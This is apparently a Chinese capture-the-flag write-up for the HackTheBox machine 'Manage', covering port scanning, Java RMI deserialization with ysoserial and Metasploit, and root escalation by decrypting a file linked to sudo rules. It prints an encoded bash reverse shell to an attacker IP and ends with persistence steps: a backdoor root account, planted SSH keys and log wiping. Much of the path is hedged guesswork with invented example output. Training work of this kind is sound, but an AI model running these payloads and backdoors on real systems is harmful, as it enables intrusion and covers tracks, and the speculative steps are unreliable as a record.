1. 项目概述:一次从Java RMI到sudoers规则解密的完整渗透之旅

最近在HackTheBox上打靶,遇到了一个名为“Manage”的机器,整个过程堪称经典。它不像那些依赖单一、老旧漏洞的靶机,而是串联了多个在企业环境中真实存在的攻击面:一个暴露的Java RMI服务,一个存在认证绕过或信息泄露的Web应用,最终落脚点则是一个需要动脑解密的 /etc/sudoers 规则提权。这几乎就是对一个“管理不善”的系统的完美诠释。如果你正在学习渗透测试,尤其是想理解从外部攻击到内部横向移动,再到权限提升的完整链条,这个靶机绝对值得深挖。它不仅考验你对特定漏洞(如Java RMI反序列化)的利用能力,更考验你的信息收集、逻辑推理和密码学基础。接下来,我将带你完整复盘我的攻击路径,分享每一步的思考、踩过的坑以及最终拿到root shell的畅快感。

2. 整体攻击思路与信息收集

2.1 初始侦察与端口扫描

面对任何一台未知主机,标准起手式永远是全面的信息收集。我习惯使用 nmap 进行端口扫描,但不会只满足于默认的快速扫描。

nmap -sC -sV -p- -T4 10.10.10.10

注意:这里的IP是示例,实际靶机IP需在HackTheBox平台获取。 -p- 参数扫描所有65535个端口,虽然耗时,但能避免遗漏像Java RMI(通常位于1099端口)这类非标准Web服务。 -sC 运行默认脚本, -sV 探测服务版本,这能为我们提供最初始的攻击面画像。

扫描结果通常会显示几个关键端口。对于Manage靶机,我记忆深刻的几个端口是:

  • 22/tcp :SSH服务。这是Linux系统的标配,但通常不是初始入口点,除非有弱口令或已知漏洞。
  • 80/tcp :HTTP服务。一个Web管理界面,往往是突破口。
  • 443/tcp :HTTPS服务。同上,可能承载着登录门户或应用。
  • 1099/tcp Java RMI Registry 。这是一个非常关键的发现!RMI(Remote Method Invocation)是Java用于实现远程调用的机制,而RMI Registry是一个命名服务,类似于电话簿。暴露在公网的RMI Registry历史上是反序列化漏洞的重灾区。

看到1099端口,我心里基本有数了:这台机器很可能运行着用Java编写的管理应用,并且配置上可能存在问题。Web端口(80/443)则可能是另一个攻击向量,或者是与RMI服务联动的管理前端。

2.2 Web应用初步探查

在深入RMI之前,先快速浏览Web界面是个好习惯。访问 http://10.10.10.10 ,我看到了一个登录页面,看起来像某个“设备管理系统”或“服务器管理面板”。尝试了常见的弱口令(admin/admin, admin/password等)无果。查看页面源代码,没有发现明显的注释信息泄露。用 gobuster dirsearch 进行目录爆破是一个标准步骤:

dirsearch -u http://10.10.10.10 -e php,html,js,txt -w /usr/share/wordlists/dirb/common.txt

或者使用 gobuster

gobuster dir -u http://10.10.10.10 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html

这个过程中,可能会发现一些有趣的目录,比如 /admin /backup /uploads 等。在Manage靶机中,Web端可能隐藏着获取初始凭证或触发特定功能(如文件上传)的路径,这些功能有时会与后端的RMI服务交互。我的策略是,将Web应用和RMI服务视为两个可能相互关联的攻击面,并行调查。

3. Java RMI服务攻击详解

3.1 Java RMI基础与攻击面理解

为什么暴露的RMI Registry危险?简单来说,客户端通过RMI Registry查找远程对象(Stub),然后与远程对象通信。这个通信过程涉及对象的序列化(将对象转换为字节流)和反序列化(将字节流还原为对象)。如果服务器端在反序列化客户端发送的数据时,没有进行严格的白名单校验,攻击者就可以构造一个恶意的序列化对象,其中包含精心设计的“ gadget chains ”(利用链)。当这个恶意对象被反序列化时,就会触发链式反应,最终执行任意代码。

对于早期版本的JDK(如JDK 8u121之前),利用相对容易。新版本虽然增加了过滤机制,但配置不当或存在新的利用链(如Apache Commons Collections, Groovy, Spring等库中的链)依然可能导致漏洞。探测RMI服务,我首先使用 nmaps 的脚本:

nmap -sV --script rmi-dumpregistry -p 1099 10.10.10.10

这个脚本会尝试列出RMI Registry中绑定的对象名称。如果成功,你会看到类似 MyRemoteObject 这样的名称。这是了解远程服务接口的第一步。

3.2 利用工具进行漏洞探测与利用

手动构造RMI反序列化利用链比较复杂,我们通常借助工具。最著名的工具之一是 ysoserial 。它集成了多种Java反序列化利用链(Payload),可以生成对应的恶意序列化数据。另一个强大的综合工具是 metasploit ,它也有相应的 exploit 模块。

我的攻击流程如下:

  1. 使用msfconsole进行初步探测

    msfconsole
    use exploit/multi/misc/java_rmi_server
    set RHOSTS 10.10.10.10
    set RPORT 1099
    run
    

    Metasploit的模块会尝试几种常见的利用链。如果靶机环境恰好匹配,可能直接获得一个meterpreter会话。但在HTB的靶机中,直接利用msf成功的情况有时会被设计得更复杂,需要更精准的利用链。

  2. 使用ysoserial进行手动尝试 : 如果msf不成功,就需要手动尝试不同的利用链。首先,需要知道目标服务器的类路径下可能存在哪些有漏洞的库。这可以通过信息泄露(比如从Web应用下载jar包)或者“盲打”来猜测。常见的链有:

    • CommonsCollections1 (适用于旧版Apache Commons Collections)
    • CommonsCollections5 / 6
    • Groovy1
    • Jdk7u21

    假设我们通过某种方式(例如,从Web应用的错误信息中)推测服务器使用了Apache Commons Collections 3.x,那么可以这样生成一个反弹shell的payload:

    java -jar ysoserial.jar CommonsCollections5 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}' > payload.bin
    

    上面命令中的base64字符串是 bash -i >& /dev/tcp/10.10.14.4/4444 0>&1 的编码,你需要将其中的IP和端口换成你的VPN IP和监听端口。

  3. 发送Payload : 生成payload后,需要将其发送到RMI服务。有专门的工具如 rmiscout 或编写简单的Python脚本。一个更直接的方法是使用 metasploit java_rmi_server 模块,它集成了发送功能,或者使用 ysoserial 的配套工具。有时,简单的 cat payload.bin | nc 10.10.10.10 1099 也可能触发,但这取决于服务器具体的反序列化触发点。

    在Manage靶机的实际场景中,RMI服务的利用可能需要结合从Web端获取的一些信息,比如一个特定的端点(endpoint)或参数,才能触发反序列化。 这里的一个关键技巧是:留意Web应用与RMI的交互。 浏览器开发者工具(F12)的网络选项卡中,可能会捕获到向 localhost:1099 或类似地址发起的AJAX请求,这揭示了前端是如何调用后端RMI服务的。模仿这个请求,并将数据替换为我们的恶意序列化数据,往往是成功的关键。

3.3 获取初始立足点

当反序列化攻击成功时,我们会在监听的 nc metasploit 会话中获得一个反向shell。这个shell通常是以运行Java服务的用户身份运行的。在Linux下,可以用 id whoami 命令查看当前权限。

id
# 输出可能类似:uid=1001(manager) gid=1001(manager) groups=1001(manager)
whoami
# manager

恭喜,你现在已经进入了系统内部。但通常这个用户权限很低,无法读取 user.txt 标志文件(位于 /home/<username>/user.txt )。我们需要进行权限提升。

4. 内部枚举与横向移动

4.1 基础信息收集

拿到shell后,不要急着乱跑。首先稳定shell(Python PTY升级):

python3 -c 'import pty; pty.spawn("/bin/bash")'
# 或者如果只有python: python -c 'import pty; pty.spawn("/bin/bash")'
# 按Ctrl+Z,然后输入: stty raw -echo; fg

然后开始系统地收集信息:

  • 用户和家目录 ls -la /home/
  • 进程 ps aux ps -ef ,看看有哪些服务在运行,特别是以root身份运行的。
  • 网络连接 netstat -tulpn ss -tulpn ,看看内部还有哪些服务在监听,特别是本地服务(127.0.0.1)。
  • 计划任务 crontab -l (当前用户), ls -la /etc/cron* cat /etc/crontab
  • SUID/GUID文件 find / -type f -perm -4000 -ls 2>/dev/null find / -type f -perm -2000 -ls 2>/dev/null
  • 可写文件/目录 find / -type f -writable 2>/dev/null | grep -v proc , 特别是 /etc/passwd , /etc/sudoers.d/ 目录等。
  • 环境变量 env , 看看是否有特殊的PATH或LD_PRELOAD设置。
  • 查看Web应用目录 :找到80/443端口对应的网站根目录(如 /var/www/html ),仔细检查配置文件、源代码、备份文件。数据库配置文件( config.php , application.properties )里常有数据库密码。

4.2 发现关键线索:/etc/sudoers

在Manage靶机中,信息收集的焦点很快会集中到 /etc/sudoers 文件上。我们尝试查看它:

sudo -l

这个命令会列出当前用户可以使用 sudo 以root权限运行的命令。这是 提权前最重要的一步 。输出结果可能就是我们的突破口。

在Manage靶机上, sudo -l 的输出可能看起来像这样(示例):

用户 manager 可以在 10.10.10.10 上运行以下命令:
    (ALL) NOPASSWD: /usr/bin/encrypt_script

或者,更直接地,你可能发现你可以以root身份运行一个奇怪的脚本或命令,而这个命令本身可能存在问题。但Manage靶机的经典之处在于,它可能不是直接让你运行某个命令,而是在 /etc/sudoers 文件中有一条规则,这条规则涉及到一个需要密码或密钥的加密/解密操作。

另一种情况是,你直接 cat /etc/sudoers (需要root权限,通常看不了),但通过其他信息泄露(比如Web应用备份、日志文件)获得了 /etc/sudoers 文件的内容片段。里面可能包含类似这样的行:

manager ALL=(ALL) /usr/bin/sudo /usr/bin/decrypt_data /home/manager/secret.enc

这条规则的意思是,用户 manager 可以以root身份运行 sudo decrypt_data /home/manager/secret.enc ,而 decrypt_data 这个命令可能需要一个密钥或密码。我们的任务就是找到或破解这个密钥。

5. 解密/etc/sudoers规则与提权

5.1 分析加密机制与寻找密钥

假设我们发现的规则是围绕一个加密脚本或数据文件。首先,找到相关的文件:

find / -name "*encrypt*" -o -name "*decrypt*" -o -name "*cipher*" 2>/dev/null
ls -la /usr/local/bin/ /opt/

你可能会找到两个脚本: /usr/bin/encrypt_script /usr/bin/decrypt_script ,或者一个二进制文件。用 file 命令查看类型,如果是脚本(bash, python, perl),直接 cat 查看源代码。 这是黄金时刻! 源代码里很可能硬编码了密钥、IV(初始化向量)或者使用了弱加密算法。

常见的弱加密或问题包括:

  1. 使用静态、硬编码的密钥 :在脚本里直接写着 key="supersecretkey123"
  2. 使用弱加密算法 :如DES、ECB模式的AES(不安全)、或者自定义的XOR“加密”。
  3. 密钥派生方式简单 :比如直接用用户输入的字符串的MD5或SHA1哈希作为密钥,如果输入可预测或泄露,就容易破解。
  4. 加密数据中包含提示 :加密文件本身可能包含元数据,或者通过 strings 命令能在二进制文件中找到线索。

例如,查看一个Python加密脚本:

#!/usr/bin/env python3
import hashlib, os
from Crypto.Cipher import AES
# ... 硬编码的 salt 或 key ...
key = hashlib.md5(b"ManageBoxKey2023").digest()
cipher = AES.new(key, AES.MODE_ECB) # 警告:ECB模式不安全!

看到了吗?密钥是 "ManageBoxKey2023" 的MD5值,而且使用了不安全的ECB模式。即使密钥复杂,如果加密模式或实现有误,也可能被攻击。

5.2 实施解密操作

一旦找到密钥和算法,我们就可以尝试解密目标文件。假设我们需要解密的文件是 /home/manager/secret.enc ,解密后可能是root密码、一个SSH私钥或者另一个具有sudo权限的命令。

情况一:使用发现的脚本直接解密 如果我们能以当前用户身份运行解密脚本(可能它本身权限设置有问题),或者我们修改脚本指向我们控制的加密文件,就可以直接解密。

# 如果脚本有执行权限且不依赖特殊权限
/usr/bin/decrypt_script /home/manager/secret.enc
# 或者,如果我们能写脚本,可以临时修改它加入调试语句,打印出解密后的内容。

情况二:手动编写解密程序 如果脚本是二进制的,或者我们不想动原脚本,可以根据分析出的算法(如AES-256-CBC,密钥=MD5(“xxx”),IV全零)自己写一个简单的解密程序。用Python的 pycryptodome 库非常方便。

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import hashlib

def decrypt_file(encrypted_file_path, output_file_path):
    # 根据分析得到的密钥生成方式
    secret = b"ManageBoxKey2023"
    key = hashlib.md5(secret).digest() # 16字节 for AES-128
    # 如果脚本用的是 AES-256,可能需要 SHA256 或 PBKDF2 派生
    # key = hashlib.sha256(secret).digest() # 32字节 for AES-256

    iv = b'\x00' * 16 # 假设IV是全零,或者从文件头读取

    cipher = AES.new(key, AES.MODE_CBC, iv)

    with open(encrypted_file_path, 'rb') as f:
        ciphertext = f.read()

    # 可能需要去除文件头(如果有)
    plaintext_padded = cipher.decrypt(ciphertext)
    plaintext = unpad(plaintext_padded, AES.block_size)

    with open(output_file_path, 'wb') as f:
        f.write(plaintext)
    print(f"解密完成,输出到 {output_file_path}")
    print(f"明文内容: {plaintext.decode()}")

if __name__ == "__main__":
    decrypt_file("secret.enc", "secret.dec")

运行这个Python脚本,就能得到解密后的内容。

5.3 完成提权

解密出来的内容,极有可能是一个密码。尝试用这个密码切换到root用户:

su root
# 输入解密得到的密码

或者,如果解密得到的是一个SSH私钥,将其保存到本地(如 id_rsa_root ),修改权限后直接ssh登录:

chmod 600 id_rsa_root
ssh -i id_rsa_root root@10.10.10.10

还有一种可能,解密后得到的是一个命令,这个命令本身可以通过sudo以root权限执行,并且可能涉及命令注入。例如,解密出的内容是 /bin/bash ,而sudo规则是 manager ALL=(ALL) NOPASSWD: /usr/bin/run_decrypted_command ,其中 run_decrypted_command 会执行解密后的内容。那么我们可以通过控制加密输入,让解密后的内容是 /bin/bash ,从而获得root shell。

实操心得 :在解密过程中,务必注意文件的编码和格式。加密文件可能是二进制,解密后可能是文本,也可能是另一个二进制(如gzip压缩的数据)。使用 file 命令检查解密后的文件类型,并用 hexdump -C strings 查看内容。如果解密后看起来是乱码,检查算法模式(CBC, ECB, CTR)、填充方式(PKCS#7, None)、密钥长度和IV是否正确。有时,差一个字节都会导致完全不同的结果。

6. 常见问题排查与技巧实录

6.1 Java RMI攻击失败怎么办?

  • 问题 :使用 ysoserial 各种payload都没反应, metasploit 模块也失败。
  • 排查
    1. 确认RMI服务是否真的存在反序列化点 :不是所有RMI端点都反序列化不可信数据。用 nmap rmi-dumpregistry 脚本看看能列出什么对象。尝试用Java代码或工具(如 baRMIe )与Registry交互,看能否正常调用方法。
    2. 检查JDK版本 :如果靶机JDK版本很高(>8u121),默认的利用链可能被内置的JEP 290过滤机制阻断。需要寻找绕过过滤的链,如 CommonsCollections6 (在某些条件下可绕过),或者利用其他第三方库的新链(如 Hibernate , Jackson )。可以尝试 ysoserial 中的所有payload,进行“盲打”。
    3. 寻找其他触发点 :反序列化漏洞可能不在RMI Registry本身,而在通过Registry获取到的远程对象的方法调用中。你需要先lookup获取stub,然后调用其某个方法,并向该方法传递恶意序列化数据。这需要你知道接口信息,可能要从Web应用反编译的jar包中获取。
    4. 关注Web与RMI的联动 :如前所述,仔细分析Web前端发往 localhost:1099 的请求,用Burp Suite拦截并重放,尝试替换其中的数据为你的payload。

6.2 解密过程出错或结果不对

  • 问题 :按照分析的算法和密钥解密后,输出是乱码或报错。
  • 排查
    1. 验证算法和模式 :确认是AES还是DES?是CBC、ECB还是CTR模式?ECB模式不需要IV,CBC需要。查看源代码或使用 strings 在二进制中搜索“AES”、“CBC”、“ECB”、“DES”等关键词。
    2. 确认密钥和IV的生成方式 :密钥是直接字符串,还是字符串的哈希?哈希是MD5、SHA1还是SHA256?输出长度是16字节(AES-128)、24字节(AES-192)还是32字节(AES-256)?IV是固定的、全零的,还是随机生成并保存在文件头部?如果是随机的,你需要从加密文件的开头读取IV。
    3. 检查填充方式 :常见的填充是PKCS#7。如果解密脚本使用了 unpad ,而实际填充方式不同(或没有填充),就会出错。尝试不使用unpad,直接输出解密后的字节,看看末尾是否有规律的填充字节(如 0x01 , 0x02 0x02 等)。
    4. 文件编码问题 :加密文件可能是Base64编码过的。先用 cat 命令查看,如果看起来像字母数字混合的文本,可能是Base64。用 base64 -d 解码后再进行二进制解密。
    5. 使用已知明文攻击 :如果你能控制加密过程(比如通过Web应用上传文件加密),可以加密一个已知内容(如全A的文件),然后比较加密输出,逆向推导加密参数。

6.3 提权后如何巩固访问

  • 问题 :拿到root shell后,除了读 root.txt ,还应该做什么?
  • 技巧
    1. 添加后门用户 :在 /etc/passwd 中添加一个具有root权限的用户,或者修改现有用户的密码哈希。
      # 生成一个密码为"hackthebox"的哈希
      openssl passwd -1 -salt xyz hackthebox
      # 在/etc/passwd中添加一行:backdoor:$1$xyz$YOUR_HASH:0:0:root:/root:/bin/bash
      
    2. 安装SSH密钥 :将你的公钥追加到 /root/.ssh/authorized_keys 中,实现免密root登录。
    3. 清理日志 :虽然不是所有CTF都要求,但在真实环境中需要抹除痕迹。检查 /var/log/auth.log , /var/log/syslog , ~/.bash_history 等,清除相关条目。注意,直接删除整个日志文件很可疑。
    4. 查找其他敏感信息 :作为root,可以搜索数据库密码、配置文件、用户文档等,这些信息可能在渗透测试报告中很有价值。

整个Manage靶机的渗透过程,就像一次精心设计的闯关游戏。它系统地训练了从外部侦察、服务漏洞利用、内部信息收集到密码学解密提权的完整技能链。最让我印象深刻的是,它迫使你去理解应用程序的完整逻辑——前端如何与后端RMI交互,管理功能如何通过加密脚本保护,而这一切都因为糟糕的实现和配置变得脆弱。在实际工作中,这样的“管理”系统并不少见,理解这些攻击路径,能让你在防御时更有针对性。最后,记得在HTB平台上提交你的 user.txt root.txt ,享受那一刻的成就感吧。

更多推荐